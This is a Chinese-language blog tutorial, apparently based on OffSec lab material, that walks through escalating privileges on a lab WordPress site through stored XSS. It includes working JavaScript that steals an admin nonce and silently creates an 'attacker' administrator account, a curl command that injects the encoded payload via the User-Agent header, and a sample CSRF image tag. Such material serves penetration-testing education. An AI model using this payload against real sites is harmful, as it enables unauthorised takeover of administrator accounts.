郑重声明: 本文所有安全知识与技术,仅用于探讨、研究及学习,严禁用于违反国家法律法规的非法活动。对于因不当使用相关内容造成的任何损失或法律责任,本人不承担任何责任。 如需转载,请注明出处且不得用于商业盈利。
💥👉点赞❤️ 关注🔔 收藏⭐️ 评论💬💥
更多文章戳👉Whoami!-CSDN博客🚀
𖤐 嘿,经过前面的预热,我们正式打开这扇门,来吧 !
𖤐 𝓗𝓮𝔂, 𝓪𝓯𝓽𝓮𝓻 𝔀𝓪𝓻𝓶-𝓾𝓹,𝔀𝓮'𝓻𝓮 𝓷𝓸𝔀 𝓸𝓯𝓯𝓲𝓬𝓲𝓪𝓵𝓵𝔂 𝓸𝓹𝓮𝓷𝓲𝓷𝓰 𝓽𝓱𝓲𝓼 𝓭𝓸𝓸𝓻,𝓒𝓸𝓶𝓮 𝓸𝓷 !
→ 信息收集
→ 漏洞检测
→ 初始立足点
→ 权限提升 ▸WEB应用攻击▸利用XSS提权-----我们在这儿~ 🔥🔥🔥
→ 横向移动
→ 报告/分析
→ 教训/修复
目录
1.1.2.2 获取WordPress的Nonce(一次性令牌)
1.跨站脚本攻击(XSS)
跨站脚本攻击(XSS)是一种利用网站对用户信任的安全漏洞,攻击者通过注入恶意脚本(如:JavaScript)到网页中,当其他用户访问时执行这些脚本。曾经被认为是低风险漏洞,如今XSS已成为高风险且普遍的安全威胁。
XSS漏洞根源在于数据清理不足:即Web应用程序未能正确处理用户输入,未删除或转换危险字符和字符串,导致攻击者能够注入并执行恶意代码。
1.1 通过XSS进行权限提升
在前面的攻击中,已经成功在目标WordPress应用程序中存储、并成功存储了恶意JavaScript代码(<script>alert(42)</script>
)。当管理员用户访问包含此代码的页面(如start.php
)时,代码将被执行。现在,我们需要利用这一位置的执行能力实现权限提升:获取管理员权限。
1.1.1 侦查目标Cookie的安全标志
1.1.1.1 Cookie基础知识
Cookie基础知识
🍪 Cookie的作用:http协议是无状态的,因此网站使用Cookie来跟踪用户状态和信息
⚠️ 安全风险:获取已认证用户的Cookie可冒充该用户进行操作
🛡️ 安全标志:Cookie可使用几个可选标志设置,其中以下两个安全标准尤为重要:
Secure标志:仅在HTTPS加密连接中传输Cookie,这样可以保护cookie不被以明文形式发送和在网络上被捕获。
HttpOnly标志:阻止JavaScript访问Cookie内容,如果未设置此标志,可以使用XSS的payload来窃取cookie。
形象化比喻:
将会话Cookie比作商店的"会员卡":
普通Cookie:像纸质会员卡,可随时查看修改
HttpOnly Cookie:像密封的电子会员卡,只能由收银员(服务器)读取,顾客(JavaScript)无法查看内容
为此,通过浏览器开发者工具分析WordPress的Cookie的标志:
📌 结论:有些会话Cookie没启用HttpOnly和Secure,可通过JavaScript直接窃取该会话Cookie。
1.1.1.2 侦查目标Cookie的安全标志
首先,以admin用户身份登录,验证WordPress会话cookie的性质。然后,打开Web开发者工具,导航到Storage选项卡,然后在左侧的Cookies菜单下点击http://offsecwp。
分析上图:
- Cookie 现状:浏览器共存储 6 个 Cookie,其中4个为会话 Cookie;排除测试用的
wordpress_test_cookie
后,剩余有效会话Cookie均支持HttpOnly字段。- HttpOnly 特性:支持 HttpOnly 的会话 Cookie 仅能通过 HTTP 请求自动发送给服务器,由服务器识别以验证登录用户,无法被 JavaScript 检索。
- 安全结论:当前无法通过 JavaScript 利用 XSS 漏洞获取 Cookie,需寻找其他攻击方法。
1.1.2 替代提权思路:重新注册管理员账号
既然无法直接窃取管理员Cookie,我们转向创建新的管理员账户来实现权限提升。
📊 攻击路径对比
攻击方法 | 可行性 | 难度 | 所需条件 |
---|---|---|---|
Cookie窃取 | ❌ 不可行 | 高 | 无HttpOnly标志的Cookie |
创建管理员账户 | ✅ 可行 | 中 | 获取有效的nonce值 |
1.1.2.1 攻击思路分析
1.注册流程分析
WordPress管理员账户注册需要以下:
-
✅ 用户名(可自定义)
-
✅ 密码(可自定义)
-
✅ 邮箱地址(可自定义)
-
🔑 Nonce(一次性数字):关键安全令牌,防止CSRF攻击(需要获取!一旦获取就直接可注册新管理员,实现提权。)
🔑提示:如何知道注册所需这些字段,在注册页面多研究即可知道。
2.攻击步骤规划
-
使用XSS payload窃取当前管理员的nonce
-
利用获取的nonce自动注册新管理员账户
-
使用新创建的管理员账户登录系统
1.1.2.2 获取WordPress的Nonce(一次性令牌)
1.关于Nonce和CSRF攻击的概念
什么是Nonce?
🔑 Nonce(Number Used Once):服务器生成的一次性令牌(随机生成的字符串)
🛡️ 安全作用:增加请求随机性,防止跨站请求伪造(CSRF)攻击
📍 存在位置:包含在WordPress的每个管理请求中
为什么需要获取Nonce?
🔐 权限验证:WordPress使用nonce验证管理操作的合法性
🚫 防御绕过:没有有效nonce无法执行管理员操作
👨💻 攻击前提:创建新管理员账户必须提供有效nonce
Nonce安全特性
⏱️ 时效性:nonce具有时间敏感性,会过期失效
🔢 唯一性:每个用户会话的nonce值不同
🎲 随机性:无法预测的随机字符串
🎯 什么是CSRF攻击?
CSRF(Cross-Site Request Forgery)攻击是一种利用用户已认证状态进行的攻击
CSRF攻击示例:
<!-- 恶意网站上的隐藏代码 --> <img src="http://realbank.com/transfer?amount=1000&to=ATTACKER_ACCOUNT" width="0" height="0" border="0">
<img src="http://realbank.com/transfer?amount=1000&to=ATTACKER_ACCOUNT">
: 这是一个普通的 HTMLimg
标签,它包含了一个指向 realbank.com 的请求URL。
这个 URL 看起来像是一个银行转账请求:
amount=1000
:表示转账金额为1000
to=ATTACKER_ACCOUNT
:表示转账目标是一个攻击者账户。当浏览器加载这个图片时,会向 realbank.com 发送一个GET请求,并且URL中带有参数,可能会导致用户账户无意中进行转账。
width="0" height="0" border="0"
: 这些属性将图片的显示尺寸设置为0x0
,即该图片是不可见的(或者几乎不可见),不会在网页中显示出来。攻击者利用这种方式发送请求时,用户是看不见的,但该请求仍会被发送到目标服务器。CSRF攻击场景:
- 攻击者创建了一个网页或电子邮件,包含了上述代码。
- 当受害者登录到一个银行网站或其他具有认证的服务时,攻击者诱使受害者访问该网页(比如点击一个链接或查看一个图片)。
- 因为受害者已经登录了银行账户,浏览器会自动附带用户的认证信息(如cookies),所以这个请求会成功执行。
- 该请求会在受害者的账户上执行一个不必要的操作,例如:转账到攻击者的账户。
CSRF攻击条件与防护:
攻击条件 防护措施 ✅ 用户已登录目标网站 🔒 使用CSRF Token(Nonce)--- 也就是本文注册管理员账号时所需获取的Token。
每次发起请求时需带上这个Token,服务端验证Token是否有效。如果请求中缺少或错误的Token,服务端就拒绝该请求。
✅ 会话Cookie有效 🔍 验证请求来源(Referer/Origin头),确保请求是从合法的银行网站发起的。 ✅ 用户访问恶意内容 📱 敏感操作重新认证(比如转账时),要求用户重新确认身份(例如,输入密码、短信验证码等)。
2.构建代码---获取Nonce
该函数通过同步的HTTP请求,向WordPress后台/wp-admin/user-new.php页面发送GET请求,然后从返回的HTML中根据正则表达式nonceRegex在HTTP响应中获取到nonce值。
function getNonce() {
var nonceRegex = /"nonce":"([a-f0-9]+)"/;
var request = new XMLHttpRequest();
// 同步请求(false)管理员页面
request.open('GET', '/wp-admin/user-new.php', false);
request.send();
// 从响应中提取nonce
if (request.status === 200) {
var match = nonceRegex.exec(request.responseText);
if (match && match[1]) {
return match[1]; // 返回获取的nonce值
}
}
return null; // 获取失败返回null
}
var nonce = getNonce(); // 调用getNonce函数获取nonce值
以上函数体摘出并简化如下:
代码段1:同步获取nonce
var ajaxRequest = new XMLHttpRequest();
var requestURL = "/wp-admin/user-new.php";
var nonceRegex = /ser" value="([^"]*?)"/g;
ajaxRequest.open("GET", requestURL, false);
ajaxRequest.send();
var nonceMatch = nonceRegex.exec(ajaxRequest.responseText);
var nonce = nonceMatch[1];
函数执行流程:
1.1.2.3 构建代码---创建新管理员用户
成功获取WordPress的nonce后,攻击者可以构造JavaScript函数创建具有管理员权限的新用户账户,完成权限提升。
构建用户创建代码:
function createAdminUser(nonce) {
var params = "action=createuser" +
"&_wpnonce_create-user=" + nonce +
"&user_login=attacker" +
"&email=attacker@offsec.com" +
"&pass1=attackerpass" +
"&pass2=attackerpass" +
"&role=administrator";
var ajaxRequest = new XMLHttpRequest();
ajaxRequest.open("POST", "/wp-admin/user-new.php", true);
ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajaxRequest.setRequestHeader("Content-Length", params.length);
ajaxRequest.send(params);
}
函数详细说明:
函数定义
function createAdminUser(nonce)
定义了一个接收nonce
参数的函数,nonce
是用于验证请求合法性的安全令牌(通常从之前的getNonce()
函数获取)。构建请求参数
params
变量拼接了创建用户所需的表单数据,包含:
action=createuser
:指定操作类型为 “创建用户”_wpnonce_create-user=
:携带安全验证令牌nonce
(防止 CSRF 攻击)- 用户信息:用户名(
user_login=attacker
)、邮箱(email=attacker@offsec.com
)、密码(pass1=attackerpass
和pass2=attackerpass
,两次输入需一致)- 角色权限:
role=administrator
(将新用户设置为管理员权限)配置并发送 POST 请求
- 创建
XMLHttpRequest
对象用于发起请求- 以 POST 方式请求 WordPress 后台的 “新建用户” 页面(
/wp-admin/user-new.php
),true
表示异步请求- 设置请求头:
Content-Type
为表单数据格式,Content-Length
为参数长度- 通过
request.send(params)
发送构建好的表单数据
以上函数体摘出并简化如下:
代码段2:异步新建管理员账户
var params = "action=createuser&_wpnonce_createuser="+nonce+"&user_login=attacker&email=attacker@offsec.com&pass1=attackerpass&pass2=
attackerpass&role=administrator";
ajaxRequest = new XMLHttpRequest();
ajaxRequest.open("POST", requestURL, true);
ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajaxRequest.send(params);
1.1.2.4 JavaScript代码合并、压缩和编码
由于最终使用curl命令推送Post请求,为了确保我们的JavaScript代码有效payload能够被Burp和目标应用程序正确处理,需要先对其进行合并、压缩,然后进行编码为UTF-16。
1.合并、压缩代码
将上述两端代码(获取nonce、注册新管理员账户)压缩成一行,可以转到JS Compress(https://jscompress.com/),然后点击“compress JavaScript”后,复制输出的一行代码并将其保存在本地。
2.代码编码为UTF-16
我们将对压缩后的JavaScript代码进行编码,以避免一些特殊字符被浏览器或防火墙拦截。使用以下函数来实现:
encode_to_javascript函数将解析缩小的JS字符串参数,并使用charCodeAt()方法将每个字符转换为相应的UTF-16整数代码。
以上JavaScript函数,可以在浏览器的控制台中运行。
1.1.2.5 发送XSS payload
构建好XSS payload的UTF-16代码后,使用curl命令发送请求。
在运行curl攻击命令之前,启动Burp并保持拦截状态。
Burp Suite配置步骤:
启动Burp Suite并确保代理运行在
127.0.0.1:8080
开启拦截功能(Intercept On)
配置浏览器使用Burp作为代理(如未系统级设置)
使用cURL发送XSS payload:
curl -i http://offsecwp \
--user-agent "<script>eval(String.fromCharCode(...))</script>" \
--proxy 127.0.0.1:8080
参数 | 作用 | 说明 |
---|---|---|
-i | 显示完整响应 | 包含HTTP头和响应体 |
--user-agent | 设置恶意载荷 | 注入点,注入XSS攻击代码执行 |
--proxy | 指定代理服务器 | 通过Burp Suite路由流量 |
eval() | JavaScript的内建函数,它将传入的 字符串作为JavaScript代码执行 | 执行代码用 |
String.fromCharCode() | JavaScript的一个方法,它接受一组Unicode字符码,并将它们转换为一个字符串,用来解码字符串。 | 将刚刚编码的代码进行解码 |
curl命令的完整内容如下:
1.1.2.6 在Burp重放检查
运行curl命令后,我们可以在Burp中检查请求。
检查后正确,点击转发来“Forward”请求,然后禁用拦截。
1.1.2.7 验证是否成功新建管理员
⚠️ 可能的响应结果:
①✅成功响应 (HTTP 200): 表示新管理员账户已成功创建。
这时,攻击者能够控制这个新账户。(!得到管理员权限了)
{
"success": true,
"data": {
"user_id": 15,
"username": "attacker",
"role": "administrator"
}
}
②❌若失败,失败响应及原因:
错误类型 | 原因 | 解决方案 |
---|---|---|
❌ Invalid nonce | Nonce值无效或过期 | 重新获取最新nonce |
❌ Permission denied | 当前会话权限不足 | 等待管理员访问 |
❌ User exists | 用户名或邮箱已存在 | 修改用户名/邮箱 |
现在我们在页面上验证是否新建管理员:
1. 检查XSS注入存储情况
以管理员身份登录OffSec WP实例后,访问visitors插件仪表板:
检查项目 | 观察结果 | 意义分析 |
---|---|---|
🔍 数据库条目数量 | 仅有一个条目 | 表明请求已被记录 |
📝 用户代理字段显示(上图红框) | 无文本内容显示 | 浏览器无法渲染<script> 标签内容 |
✅ XSS执行证据 | 成功新建管理员 | 脚本已在后台执行 |
2. 权限提升验证
通过左侧窗格的"Users"菜单检查用户列表:
可以看到已经成功添加刚刚新建的attacker的管理员账号。我们通过一个特制的HTTP请求,利用XSS漏洞成功将应用程序权限从标准用户提升为管理员。
用户账号 | 角色权限 | 状态 |
---|---|---|
administrator | 管理员 | 原有账户 |
attacker | 管理员 | 新创建的攻击账户 |
💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬
您的支持是我创作最大的动力!